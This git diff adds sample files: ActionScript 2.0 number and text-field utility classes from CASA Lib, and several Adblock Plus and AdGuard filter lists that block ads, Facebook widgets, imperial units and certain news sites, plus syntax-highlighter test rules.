+	- Redistributions in binary form must reproduce the above copyright notice,
+	  this list of conditions and the following disclaimer in the documentation
+	  and/or other materials provided with the distribution.
+	
+	- Neither the name of the CASA Lib nor the names of its contributors
+	  may be used to endorse or promote products derived from this software
+	  without specific prior written permission.
+	
+	THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+	AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+	IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+	ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+	LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+	CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+	SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+	INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+	CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+	ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+	POSSIBILITY OF SUCH DAMAGE.
+*/
+
+/**
+	@author Aaron Clinger
+	@author David Nelson
+	@version 08/24/07
+*/
+
+class org.casalib.util.NumberUtil {
+	
+	/**
+		Evaluates <code>val1</code> and <code>val2</code> and returns the smaller value. Unlike <code>Math.min</code> this method will return the defined value if the other value is <code>undefined</code>.
+		
+		@param val1: A number or expression to compare.
+		@param val2: A number or expression to compare.
+		@return Returns the smallest value, or the value out of the two that is defined.
+	*/
+	public static function min(val1:Number, val2:Number):Number {
+		if (val1 == undefined || val2 == undefined)
+			return (val2 == undefined) ? val1 : val2;
+		
+		return Math.min(val1, val2);
+	}
+	
+	/**
+		Evaluates <code>val1</code> and <code>val2</code> and returns the larger value. Unlike <code>Math.max</code> this method will return the defined value if the other value is <code>undefined</code>.
+		
+		@param val1: A number or expression to compare.
+		@param val2: A number or expression to compare.
+		@return Returns the largest value, or the value out of the two that is defined.
+	*/
+	public static function max(val1:Number, val2:Number):Number {
+		if (val1 == undefined || val2 == undefined) 
+			return (val2 == undefined) ? val1 : val2;
+		
+		return Math.max(val1, val2);
+	}
+	
+	/**
+		Creates a random integer within the defined range.
+		
+		@param min: The minimum number the random integer can be.
+		@param min: The maximum number the random integer can be.
+		@return Returns a random integer within the range.
+	*/
+	public static function randomInteger(min:Number, max:Number):Number {
+		return min + Math.floor(Math.random() * (max + 1 - min));
+	}
+	
+	/**
+		Determines if the number is even.
+		
+		@param num: A number to determine if it is divisible by <code>2</code>.
+		@return Returns <code>true</code> if the number is even; otherwise <code>false</code>.
+	*/
+	public static function isEven(num:Number):Boolean {
+		return (num & 1) == 0;
+	}
+	
+	/**
+		Determines if the number is odd.
+		
+		@param num: A number to determine if it is not divisible by <code>2</code>.
+		@return Returns <code>true</code> if the number is odd; otherwise <code>false</code>.
+	*/
+	public static function isOdd(num:Number):Boolean {
+		return !NumberUtil.isEven(num);
+	}
+	
+	/**
+		Determines if the number is an integer.
+		
+		@param num: A number to determine if it contains no decimal values.
+		@return Returns <code>true</code> if the number is an integer; otherwise <code>false</code>.
+	*/
+	public static function isInteger(num:Number):Boolean {
+		return (num % 1) == 0;
+	}
+	
+	/**
+		Determines if the number is prime.
+		
+		@param num: A number to determine if it is only divisible by 1 and itself.
+		@return Returns <code>true</code> if the number is prime; otherwise <code>false</code>.
+	*/
+	public static function isPrime(num:Number):Boolean {
+		if (num == 1 || num == 2)
+			return true;
+		
+		if (NumberUtil.isEven(num))
+			return false;
+		
+		var s:Number = Math.sqrt(num);
+		for (var i:Number = 3; i <= s; i++)
+			if (num % i == 0)
+				return false;
+		
+		return true;
+	}
+	
+	/**
+		Rounds a number's decimal value to a specific place.
+		
+		@param num: The number to round.
+		@param place: The decimal place to round.
+		@return Returns the value rounded to the defined place. 
+		@example
+			<code>
+				trace(NumberUtil.roundToPlace(3.14159, 2)); // Traces 3.14
+				trace(NumberUtil.roundToPlace(3.14159, 3)); // Traces 3.142
+			</code>
+	*/
+	public static function roundDecimalToPlace(num:Number, place:Number):Number {
+		var p:Number = Math.pow(10, Math.round(place));
+		
+		return Math.round(num * p) / p;
+	}
+	
+	/**
+		Determines if the value is included within a range.
+		
+		@param num: Number to determine if it's included in the range.
+		@param startValue: First value of the range.
+		@param endValue: Second value of the range.
+		@return Returns <code>true</code> if the number falls within the range; otherwise <code>false</code>.
+	*/
+	public static function isBetween(num:Number, startValue:Number, endValue:Number):Boolean {
+		return !(num < Math.min(startValue, endValue) || num > Math.max(startValue, endValue));
+	}
+	
+	/**
+		Determines if value falls within a range; if not it is snapped to the nearest range value.
+		
+		@param num: Number to determine if it's included in the range.
+		@param startValue: First value of the range.
+		@param endValue: Second value of the range.
+		@return Returns either the number as passed, or its value once snapped to nearest range value.
+	*/
+	public static function makeBetween(num:Number, startValue:Number, endValue:Number):Number {
+		return Math.min(Math.max(num, Math.min(startValue, endValue)), Math.max(startValue, endValue));
+	}
+	
+	/**
+		Creates evenly spaced numerical increments between two numbers.
+		
+		@param begin: The starting value.
+		@param end: The ending value.
+		@param steps: The number of increments between the starting and ending values.
+		@return Returns an Array comprised of the increments between the two values.
+		@example
+			<code>
+				trace(NumberUtil.createStepsBetween(0, 5, 4)); // Traces 1,2,3,4
+				trace(NumberUtil.createStepsBetween(1, 3, 3)); // Traces 1.5,2,2.5
+			</code>
+	*/
+	public static function createStepsBetween(begin:Number, end:Number, steps:Number): /*Number*/ Array {
+		steps++;
+		
+		var i:Number = 0;
+		var stepsBetween: /*Number*/ Array = new Array();
+		var increment:Number = (end - begin) / steps;
+		
+		while (++i < steps)
+			stepsBetween.push((i * increment) + begin);
+		
+		return stepsBetween;
+	}
+	
+	/**
+		Formats a number.
+		
+		@param numberToFormat: The number you wish to format.
+		@param minLength: The minimum length of the number.
+		@param thouDelim: <strong>[optional]</strong> The character used to seperate thousands; defaults to none.
+		@param fillChar: <strong>[optional]</strong> The leading character used to make the number the minimum length; defaults to <code>0</code>.
+		@return Returns the formated number as a String.
+		@example
+			<code>
+				trace(NumberUtil.format(1234567, 8, ",")); // Traces 01,234,567
+			</code>
+	*/
+	public static function format(numberToFormat:Number, minLength:Number, thouDelim:String, fillChar:String):String {
+		var num:String = numberToFormat.toString();
+		var len:Number = num.length;
+		
+		if (thouDelim != undefined) {
+			var numSplit:Array = num.split('');
+			var counter:Number = 3;
+			var i:Number       = numSplit.length;
+			
+			while (--i > 0) {
+				counter--;
+				if (counter == 0) {
+					counter = 3;
+					numSplit.splice(i, 0, thouDelim);
+				}
+			}
+			
+			num = numSplit.join('');
+		}
+		
+		if (minLength != undefined) {
+			if (len < minLength) {
+				minLength -= len;
+				
+				var addChar:String = (fillChar == undefined) ? '0' : fillChar;
+				
+				while (minLength--)
+					num = addChar + num;
+			}
+		}
+		
+		return num;
+	}
+	
+	/**
+		Finds the English ordinal suffix for the number given.
+		
+		@param num: Number to find the ordinal suffix of.
+		@return Returns the suffix for the number, 2 characters.
+		@example
+			<code>
+				trace(32 + NumberUtil.getOrdinalSuffix(32)); // Traces 32nd
+			</code>
+	*/
+	public static function getOrdinalSuffix(num:Number):String {
+		if (num >= 10 && num <= 20)
+			return 'th';
+			
+		switch (num % 10) {
+			case 0 :
+			case 4 :
+			case 5 :
+			case 6 :
+			case 7 :
+			case 8 :
+			case 9 :
+				return 'th';
+			case 3 :
+				return 'rd';
+			case 2 :
+				return 'nd';
+			case 1 :
+				return 'st';
+		}
+	}
+	
+	/**
+		Adds a leading zero for numbers less than ten.
+		
+		@param num: Number to add leading zero.
+		@return Number as a String; if the number was less than ten the number will have a leading zero.
+	*/
+	public static function addLeadingZero(num:Number):String {
+		return (num < 10) ? '0' + num : num.toString();
+	}
+	
+	private function NumberUtil() {} // Prevents instance creation
+}
\ No newline at end of file
diff --git a/samples/ActionScript/TextFieldUtil.as b/samples/ActionScript/TextFieldUtil.as
new file mode 100644
index 0000000000..881fc2d376
--- /dev/null
+++ b/samples/ActionScript/TextFieldUtil.as
@@ -0,0 +1,113 @@
+// https://github.com/aaronclinger/casalib/blob/a948190f3c9f781dfb1420fb24d36e7c1deeacf8/AS2/code/org/casalib/util/TextFieldUtil.as
+
+/*
+	CASA Lib for ActionScript 2.0
+	Copyright (c) 2008, Aaron Clinger & Contributors of CASA Lib
+	All rights reserved.
+	
+	Redistribution and use in source and binary forms, with or without
+	modification, are permitted provided that the following conditions are met:
+	
+	- Redistributions of source code must retain the above copyright notice,
+	  this list of conditions and the following disclaimer.
+	
+	- Redistributions in binary form must reproduce the above copyright notice,
+	  this list of conditions and the following disclaimer in the documentation
+	  and/or other materials provided with the distribution.
+	
+	- Neither the name of the CASA Lib nor the names of its contributors
+	  may be used to endorse or promote products derived from this software
+	  without specific prior written permission.
+	
+	THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+	AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+	IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+	ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+	LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+	CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+	SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+	INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+	CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+	ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+	POSSIBILITY OF SUCH DAMAGE.
+*/
+
+/**
+	@author Aaron Clinger
+	@author Mike Creighton
+	@version 08/02/07
+*/
+
+class org.casalib.util.TextFieldUtil {
+	
+	/**
+		Determines if textfield has more text than can be displayed at once.
+		
+		@param target_txt: Textfield or {@link CoreTextField} to check for text overflow.
+		@return Returns <code>true</code> if textfield has overflow text; otherwise <code>false</code>.
+	*/
+	public static function hasOverFlow(target_txt:Object):Boolean {
+		return target_txt.maxscroll > 1;
+	}
+	
+	/**
+		Removes text overflow on a plain text textfield with the option of an ommission indicator.
+		
+		@param target_txt: Textfield or {@link CoreTextField} to remove overflow.
+		@param omissionIndicator: <strong>[optional]</strong> Text indication that an omission has occured; normally <code>"..."</code>; defaults to no indication.
+		@return Returns the omitted text; if there was no text ommitted function returns a empty String (<code>""</code>).
+	*/
+	public static function removeOverFlow(target_txt:Object, omissionIndicator:String):String {
+		if (!TextFieldUtil.hasOverFlow(target_txt))
+			return '';
+		
+		if (omissionIndicator == undefined)
+			omissionIndicator = '';
+		
+		var originalCopy:String        = target_txt.text;
+		var lines:Array                = target_txt.text.split('. ');
+		var isStillOverflowing:Boolean = false;
+		var words:Array;
+		var lastSentence:String;
+		var sentences:String;
+		var overFlow:String;
+		
+		while (TextFieldUtil.hasOverFlow(target_txt)) {
+			lastSentence    = String(lines.pop());
+			target_txt.text = (lines.length == 0) ? '' : lines.join('. ') + '. ';
+		}
+		
+		sentences         = (lines.length == 0) ? '' : lines.join('. ') + '. ';
+		words             = lastSentence.split(' ');
+		target_txt.text  += lastSentence;
+		
+		while (TextFieldUtil.hasOverFlow(target_txt)) {
+			if (words.length == 0) {
+				isStillOverflowing = true;
+				break;
+			} else {
+				words.pop();
+				
+				if (words.length == 0)
+					target_txt.text = sentences.substr(0, -1) + omissionIndicator;
+				else
+					target_txt.text = sentences + words.join(' ') + omissionIndicator;
+			}
+		}
+		
+		if (isStillOverflowing) {
+			words = target_txt.text.split(' ');
+			
+			while (TextFieldUtil.hasOverFlow(target_txt)) {
+				words.pop();
+				target_txt.text = words.join(' ') + omissionIndicator;
+			}
+		}
+		
+		overFlow = originalCopy.substring(target_txt.text.length);
+		
+		return (overFlow.charAt(0) == ' ') ? overFlow.substring(1) : overFlow;
+	}
+	
+	private function TextFieldUtil() {} // Prevents instance creation
+}
diff --git a/samples/Adblock Filter List/Imperial Units Remover.txt b/samples/Adblock Filter List/Imperial Units Remover.txt
new file mode 100644
index 0000000000..afd0c53e30
--- /dev/null
+++ b/samples/Adblock Filter List/Imperial Units Remover.txt	
@@ -0,0 +1,20 @@
+[Adblock Plus 3.13]
+! Title: 📏 Imperial Units Remover
+! Version: 23May2022v1-Alpha
+! Expires: 10 days
+! Description: Are you pro-metric and are tired of seeing imperial unites all over the English-language parts of the internet? If so, then here's a list for you.
+! Homepage: https://github.com/DandelionSprout/adfilt/blob/master/Wiki/General-info.md#english
+
+! Removing miles from dual-unit distance measurements in Google Maps (uBO and AdGuard only)
+google.*##html[lang$=US] #ruler span:first-of-type
+google.*##html[lang=en] #ruler span:first-of-type
+google.*##html:not([lang$=US], [lang=en]) #ruler span:nth-of-type(2)
+
+! Removes imperial measurements from multi-unit displays
+weather.gov###myfcst-tempf
+weather.gov#?#p[class^=myforecast-current-]:has-text(°F)
+holiday-weather.com#?#.temperature_data_container > :has-text(°F)
+holiday-weather.com#?#.distance_data_container > :has-text(miles)
+lematin.ma##.meteo-bloc span
+sveip.no##.wmsb_f
+gismeteo.de##.ifnoie
diff --git a/samples/Adblock Filter List/abp-filters-anti-cv.txt b/samples/Adblock Filter List/abp-filters-anti-cv.txt
new file mode 100644
index 0000000000..bc49875e24
--- /dev/null
+++ b/samples/Adblock Filter List/abp-filters-anti-cv.txt	
@@ -0,0 +1,82 @@
+[Adblock Plus 3.1]
+! Checksum: i7lcTV9/kkiE8g3aav4y/g
+! Version: 202208071141
+! Title: ABP filters
+! Last modified: 07 Aug 2022 11:41 UTC
+! Expires: 1 hours (update frequency)
+! Homepage: https://github.com/abp-filters/abp-filters-anti-cv
+!
+! Filter list designed to fight circumvention ads (including, in some cases, their tracking) and fix critical issues for Adblock Plus users
+!
+! Please report any issues
+! on GitHub https://github.com/abp-filters/abp-filters-anti-cv/issues
+! or via filters+cv@adblockplus.org
+!
+! *** abp-filters-anti-cv:arabic.txt ***
+! MISC
+3sk.io,3sk.co,33sk.tv,esheeq.co#$#abort-on-property-read atob; abort-on-property-write Fingerprint2; abort-on-property-read decodeURIComponent; abort-on-property-read RegExp
+3oloum.com,7olm.org,ahladalil.com,syriaforums.net,ahlamontada.com,alamontada.com,arabepro.com,banouta.net,gid3an.com,jordanforum.net,yoo7.com,forumalgerie.net,own0.com##a[onclick^="this.href=atob"]
+3oloum.com,7olm.org,ahladalil.com,syriaforums.net,ahlamontada.com,alamontada.com,arabepro.com,banouta.net,gid3an.com,jordanforum.net,yoo7.com,forumalgerie.net,own0.com#$#abort-on-property-read atob
+! #CV-685
+arabseed.co,arabseed.com,arabseed.me,arabseed.net,arabseed.tv#$#abort-on-property-read atob; abort-on-property-read decodeURI; abort-on-property-read decodeURIComponent
+hawak.net,hawak.tv,rotana.video#$#abort-on-property-read atob
+! #CV-667
+beinconnect.us,coroot.blogspot.com,ktarab.com,shofnow.com,actionz.tv,brstej.com,jaewinter.co,movs4u.live,mvs4u.tv,kora-online.tv,filmey.tv,animetak.net,arabseed.tv,arabseed.co,arabseed.com,arabseed.me,arabseed.net,shahid4u.com,shahid4u.net#$#abort-current-inline-script Math zfgloaded
+! Popup/Popunder/Clickunder
+egyanime.com,egydead.com,egydead.live#$#abort-on-property-write _pop
+actionz.tv,cimaclub.com,cimaclub.in,elmstba.com,hawak.net,hawak.tv,lodynet.co,lodynet.dev,lodynet.ink,lodynet.tv,rotana.video#$#abort-on-property-read decodeURIComponent
+egy.best,egybest.asia,egybest.bid,egybest.biz,egybest.cheap,egybest.co,egybest.com,egybest.cool,egybest.fail,egybest.life,egybest.ltd,egybest.ist,egybest.name,egybest.net,egybest.network,egybest.ninja,egybest.nl,egybest.online,egybest.org,egybest.pw,egybest.rocks,egybest.site,egybest.xyz,egybest.zone,egybest2.com,iegy.best#$#abort-on-property-read open
+akhbara24.news,anime4up.art,anime4up.com,arabseed.me,asia2tv.cn,asia2tv.com,baramjak.com,cima-club.cc,cima-club.in,cima-club.io,cima-club.lol,cima-club.vip,cima4u.cloud,cima4u.film,cima4u.ink,cima4u.tv,cima4u.ws,cimalina.me,cimalina.net,egy-live.online,egynow.cam,egynow.live,hawak.net,iegybest.co,lodynet.co,lodynet.dev,lodynet.ink,lodynet.tv,manga.ae,moshahda.net,movizland.com,movizland.cyou,movizland.online,egyanime.com,egydead.com,egydead.live,shahed4u.cafe,shahed4u.casa,shahed4u.cloud,shahed4u.mba,shahed4u.red,shahed4u.tips,shahed4u.ws,tuktukcinema.co,tuktukcinema.net,witanime.com,yalla-shoot.today#$#abort-current-inline-script Math /atob|break/; abort-current-inline-script String.fromCharCode /atob|break/; abort-current-inline-script document.documentElement /atob|break|JSON.parse/; abort-on-property-write JSON.parse
+arabxd.com#$#abort-current-inline-script document.querySelectorAll popMagic
+! #CV-754
+akwam.cc,akoam.com,akoam.net,akwam.co,akwam.cx,akwam.net,akwam.org,gateanime.com,gocoo.co#$#abort-on-property-read String.fromCharCode
+! *** abp-filters-anti-cv:bulgarian.txt ***
+! #CV-667
+gledaiseriali.net#$#abort-current-inline-script Math zfgloaded
+! *** abp-filters-anti-cv:chinese.txt ***
+! #CV-767
+ipv6.baidu.com,xueshu.baidu.com,www.baidu.com,www1.baidu.com#$#hide-if-contains 广告 .c-container '.f13 > .m'; hide-if-contains 广告 #content_right>[class] span[data-tuiguang]
+1111.baidu.com,bdimg.com,tieba.baidu.com,tieba.com,xingqu.baidu.com#$#abort-on-property-read Object.prototype.loadImage
+baidu.com#$#hide-if-contains 广告 #content_right>div .ec-tuiguang
+baidu.com#$#hide-if-contains 广告 #content_left>div .ec-tuiguang
+! MISC
+torrentkitty.tv#$#abort-on-property-read _fupfgk;abort-on-property-read _nyjdy
+178.com,nga.cn#$#abort-on-property-write __LOAD_BBS_ADS_12
+cn.bing.com#$#hide-if-contains 360 #b_results>li .b_adProvider
+2345.com#$#abort-current-inline-script setDefaultTheme
+ahri8.top#$#abort-current-inline-script document.querySelectorAll popMagic
+ifenpaidy.com#$#abort-on-property-read localStorage
+! Popups & Popunders
+cocomanga.com#$#abort-on-property-read __cad.cpm_popunder; abort-on-property-read __ad
+madouqu.com,madouqu.tk#$#abort-current-inline-script document.querySelectorAll popMagic
+editcode.net#$#abort-current-inline-script setTimeout openAd
+theporn.cc#$#abort-on-property-read is_show_alert_window
+! Video ads
+iyingshi9.tv#$#override-property-read YZM.ads.state false
+! #CV-667
+hdzone.org#$#abort-current-inline-script Math zfgloaded
+! *** abp-filters-anti-cv:czech.txt ***
+! #CV-655
+iprima.cz,www.seznam.cz,novinky.cz,super.cz,ahaonline.cz,expres.cz,kinobox.cz,horoskopy.cz#$#json-override ads ''
+kinobox.cz,novinky.cz,expres.cz,fights.cz,tiscali.cz,hudebniskupiny.cz,osobnosti.cz,ahaonline.cz,super.cz#$#prevent-listener beforeunload (); cookie-remover /^_?adb/;
+sauto.cz#$#override-property-read sssp undefined
+super.cz#$#override-property-read sspPositions null
+iprima.cz##.sas_center, .px-ad, .sas_mone, .mone_box, .ifr-passback, [data-sas_status], div[id^="sas_"], div[class^="mas_mone_"], [data-alter_area="leaderboardpremium-1"], [data-alter_area="boardbottom-1"], .ifr-masshack, .px-zone, .sas_megaboard, .ifr-classflak, [data-sas-creative], #cnn_reklama, div[class^="mas_"], ._sasia_fcid, [class^="mas"][class$="_clue"]
+iprima.cz#?#div:-abp-has(>.mone_header)
+iprima.cz##.px-type-banner
+iprima.cz##[class$="_value"], [id^="px-id-"]
+iprima.cz##[class$="_fcid"], [data-mashiatus]
+iprima.cz##div[data-d-area]
+iprima.cz##[class*="sas"]
+iprima.cz##a[href*="/area=branding"]
+iprima.cz##[id*="-ad-"], .ifr-claassflak, a[href*="/posid=sas_"]
+iprima.cz##.dekes_reblika
+/area=*/posid=*$subdocument,xmlhttprequest,script,domain=iprima.cz
+/keyword*/area=$xmlhttprequest,domain=iprima.cz
+/section=adblock_desktop^$domain=iprima.cz
+?format=js|$script,domain=iprima.cz
+?guci=$subdocument,domain=iprima.cz
+?v127|$script,domain=iprima.cz
+/area=halfpagead$xmlhttprequest,domain=iprima.cz
+/area=branding$xmlhttprequest,domain=iprima.cz
+auto.cz,autorevue.cz,maminka.cz,reflex.cz,ahaonline.cz,blesk.cz,dama.cz,e15.cz,info.cz,mojezdravi.cz,onetv.cz,zeny.cz,zive.cz##.inserted_rtb
diff --git a/samples/Adblock Filter List/anti-facebook.txt b/samples/Adblock Filter List/anti-facebook.txt
new file mode 100644
index 0000000000..deed7aa625
--- /dev/null
+++ b/samples/Adblock Filter List/anti-facebook.txt	
@@ -0,0 +1,99 @@
+[Adblock Plus 2.0]
+! Checksum: Ea7JI8rmiGKaIOR604if2A
+! Title: Anti-Facebook List
+! Updated: 2021-09-19 08:57 UTC
+! Expires: 9 days
+! License: http://creativecommons.org/licenses/by/3.0/
+! Homepage: http://www.fanboy.co.nz/
+! Reporting Issues: https://github.com/ryanbr/fanboy-adblock/issues
+!
+! Legal stuff (T&C's) .
+! In no event shall Fanboy List, or the list author be liable for any indirect, direct, punitive, special, incidental, or consequential damages whatsoever.
+! By downloading or viewing, or using this list, you are accepting these terms and the license.
+!
+!
+! Warning, will break on facebook-based comment sites and may also break on some facebook apps or games.
+!
+! Thirdparty Filters
+!
+||api-read.facebook.com/restserver.php?api_key=$third-party
+||api.facebook.com^$third-party
+||badge.facebook.com^$third-party
+||connect.facebook.com^$third-party,domain=~facebook.net|~fb.com
+||connect.facebook.net^$third-party,domain=~facebook.com|~fb.com
+||facebook.com/connect/$third-party
+||facebook.com/dialog/oauth?display=popup$popup,domain=humorhub.org
+||facebook.com/plugins/activity.php?$third-party
+||facebook.com/plugins/comments.php?$third-party
+||facebook.com/plugins/facepile.php?$third-party
+||facebook.com/plugins/fan.php?$third-party
+||facebook.com/plugins/follow.php$third-party
+||facebook.com/plugins/like.php?$third-party
+||facebook.com/plugins/like_box.php$third-party
+||facebook.com/plugins/likebox.php?$third-party
+||facebook.com/plugins/post.php?$third-party
+||facebook.com/plugins/recommendations.php?$third-party
+||facebook.com/plugins/recommendations_bar.php?$third-party
+||facebook.com/plugins/send.php?$third-party
+||facebook.com/plugins/share_button.php?$third-party
+||facebook.com/plugins/subscribe.php$third-party
+||facebook.com/plugins/subscribe?$third-party
+||facebook.com/restserver.php?*.getStats&$third-party
+||facebook.com/whitepages/wpminiprofile.php$third-party
+||facebook.com/widgets/activity.php?$third-party
+||facebook.com/widgets/fan.php?$third-party
+||facebook.com/widgets/like.php?$third-party
+||facebook.com/widgets/recommendations.php?$third-party
+||fbcdn-profile-a.akamaihd.net^$third-party,domain=~facebook.com
+||google.com/js/client:plusone.js$third-party
+||google.com/js/plusone.js$third-party
+||graph.facebook.com/?id=$third-party
+||graph.facebook.com^$third-party,xmlhttprequest
+||profile.ak.fbcdn.net^$third-party,domain=~facebook.com
+||scontent-a.*.fbcdn.net^$third-party,domain=~facebook.com
+||spot.im/embed/scripts/launcher.js$third-party
+||static.ak.fbcdn.net^$third-party,domain=~facebook.com
+!
+! Test Filters (For Gannett sites, which don't work anyways with Facebook blocked)
+!
+##.util-bar-module-firefly-visible
+!
+! Whitelist Filters
+!
+@@/cdn-cgi/pe/bag2?*connect.facebook.net$domain=forwardprogressives.com|onhax.net|opensubtitles.org|viralthread.com|youngcons.com
+@@||akamaihd.net/rsrc.php/$domain=facebook.com
+@@||channel.facebook.com^$domain=facebook.com
+@@||connect.facebook.com^*/AudienceNetworkPrebid.js$domain=vice.com
+@@||facebook.com/ajax/browse/$domain=facebook.com
+@@||facebook.com/ajax/bz$domain=facebook.com
+@@||facebook.com/ajax/chat/buddy_list.php$domain=facebook.com
+@@||facebook.com/ajax/chat/hovercard/$domain=facebook.com
+@@||facebook.com/ajax/hovercard/$domain=facebook.com
+@@||facebook.com/ajax/litestand/$domain=facebook.com
+@@||facebook.com/ajax/notifications/$domain=facebook.com
+@@||facebook.com/ajax/pagelet/$domain=facebook.com
+@@||facebook.com/ajax/photos/$domain=facebook.com
+@@||facebook.com/ajax/presence/$domain=facebook.com
+@@||facebook.com/ajax/typeahead/$domain=facebook.com
+@@||facebook.com/ajax/webstorage/$domain=facebook.com
+@@||facebook.com/chat/$domain=facebook.com
+@@||facebook.com/images/$domain=facebook.com
+@@||fbcdn-photos-*.akamaihd.net^$domain=facebook.com
+@@||fbcdn-profile-*.akamaihd.net^$domain=facebook.com
+@@||fbcdn-sphotos-*.akamaihd.net^$domain=facebook.com
+@@||fbexternal-*.akamaihd.net^$domain=facebook.com
+@@||scontent-*.fbcdn.net^$domain=facebook.com
+!
+! Problematic sites
+!
+@@||cloudfront.net^$font,domain=magicseaweed.com
+@@||connect.facebook.com^*/audiencenetworkprebid.js$script,domain=screenrant.com
+@@||connect.facebook.net^$script,domain=id.logi.com|tinder.com|abc.go.com|adultswim.com|contv.com|damnyouautocorrect.com|embedly.com|fitbit.com|instagram.com|interviewmagazine.com|noovo.ca|pogo.com|reddit.com|salon.com|sci2.tv|southpark.cc.com|southpark.de|upi.com
+@@||google.com/js/plusone.js$domain=abcnews.go.com|watch.nba.com
+@@||graph.facebook.com^$xmlhttprequest,domain=theguardian.com
+@@||staticxx.facebook.com/connect/$domain=embedly.com
+!
+! Cloudflare CDN
+!
+/cdn-cgi/pe/bag2?*connect.facebook.com
+/cdn-cgi/pe/bag2?*connect.facebook.net
diff --git a/samples/Adblock Filter List/fake-news.txt b/samples/Adblock Filter List/fake-news.txt
new file mode 100644
index 0000000000..5e91d74e63
--- /dev/null
+++ b/samples/Adblock Filter List/fake-news.txt	
@@ -0,0 +1,45 @@
+[Adblock Plus 2.0]
+! Title: Fake-News List
+! Updated: 10 Mar 2018
+! License: http://creativecommons.org/licenses/by/3.0/
+! Homepage: http://www.fanboy.co.nz/
+! Reporting Issues: https://github.com/ryanbr/fanboy-adblock/issues
+!
+! Legal stuff (T&C's) .
+! In no event shall Fanboy List, or the list author be liable for any indirect, direct, punitive, special, incidental, or consequential damages whatsoever.
+! By downloading or viewing, or using this list, you are accepting these terms and the license.
+!
+! (Truncated from original list, which is ~30 KBs)
+
+! infowarsstore.com
+##a[href^="http://infowarsstore.com"]
+##a[href^="http://www.infowarsstore.com"]
+##a[href^="https://www.infowarsstore.com"]
+infowarsstore.com#@#a[href^="http://infowarsstore.com"]
+infowarsstore.com#@#a[href^="http://www.infowarsstore.com"]
+infowarsstore.com#@#a[href^="https://www.infowarsstore.com"]
+||infowarsstore.com^$popup,third-party
+
+! infowars.com
+##a[href^="http://infowars.com"]
+##a[href^="http://www.infowars.com"]
+infowars.com#@#a[href^="http://www.infowars.com"]
+||infowars.com^$popup,third-party
+
+! abcnews.com.co
+##a[href^="http://abcnews.com.co"]
+##a[href^="http://www.abcnews.com.co"]
+abcnews.com.co#@#a[href^="http://abcnews.com.co"]
+abcnews.com.co#@#a[href^="http://www.abcnews.com.co"]
+||abcnews.com.co^$popup,third-party
+
+! 82.221.129.208
+##a[href^="http://82.221.129.208"]
+82.221.129.208#@#a[href^="http://82.221.129.208"]
+
+! angrypatriotmovement.com
+##a[href^="http://angrypatriotmovement.com"]
+##a[href^="http://www.angrypatriotmovement.com"]
+angrypatriotmovement.com#@#a[href^="http://angrypatriotmovement.com"]
+angrypatriotmovement.com#@#a[href^="http://www.angrypatriotmovement.com"]
+||angrypatriotmovement.com^$popup,third-party
diff --git a/samples/Adblock Filter List/test_rules.txt b/samples/Adblock Filter List/test_rules.txt
new file mode 100644
index 0000000000..b65a9e7550
--- /dev/null
+++ b/samples/Adblock Filter List/test_rules.txt	
@@ -0,0 +1,314 @@
+[AdGuard]
+! Title: Test rules for the syntax highlighter
+! License: MIT (see https://github.com/ameshkov/VscodeAdblockSyntax/blob/master/LICENSE.md)
+! Homepage: https://github.com/ameshkov/VscodeAdblockSyntax/blob/master/test_rules.txt
+! Author: Andrey Meshkov (Adguard Software Ltd.)
+!
+
+# Some comments (should be all green)
+!
+#
+
+!
+! Pre-processor directives and hints
+!
+!#if (adguard && !adguard_ext_safari)
+!#include https://example.org/
+!#endif
+!+ NOT_OPTIMIZED PLATFORM(android)
+||example.org^
+!#invalidpreprocessor
+!#if (invalid_platform)
+!#safari_cb_affinity(general,privacy)
+!#safari_cb_affinity
+!#safari_cb_affinity(invalid)
+
+!
+! Basic rules (valid)
+!
+example.org
+@@||example.org^
+||example.org^
+|https://www.example.org/|
+/banner
+||example.org^$third-party
+||example.org^$~object-subrequest
+
+! Domain
+||example.org$domain=~example.org|~test.org
+*.domain.com$domain=example.org|test.org,third-party,subdocument
+||example.org$domain=j.gs
+||example.org$domain=google.*
+*$3p,script,denyallow=hello.com|service.me,domain=example.*|test.org
+
+! Domain invalid: https://github.com/ameshkov/VscodeAdblockSyntax/issues/26
+||parajumpersnettbutikk.com^$document,domain=~ Advarselen vises grunnet: En grovt falsk nettbutikksvindel som er svartelistet av Forbrukertilsynet.
+
+! No URL
+$websocket,domain=example.org
+
+! App
+||testwinapp.org^$app=Skype.exe
+||testapp.org^$app=com.adguard.android|~com.example
+||testws.org^$websocket,xmlhttprequest
+||testws.org^$~websocket,~xmlhttprequest
+
+! -------------------------
+! Modifiers
+! -------------------------
+
+! Csp
+||example.org^$csp=frame-src 'none'
+@@||example.org^$csp
+
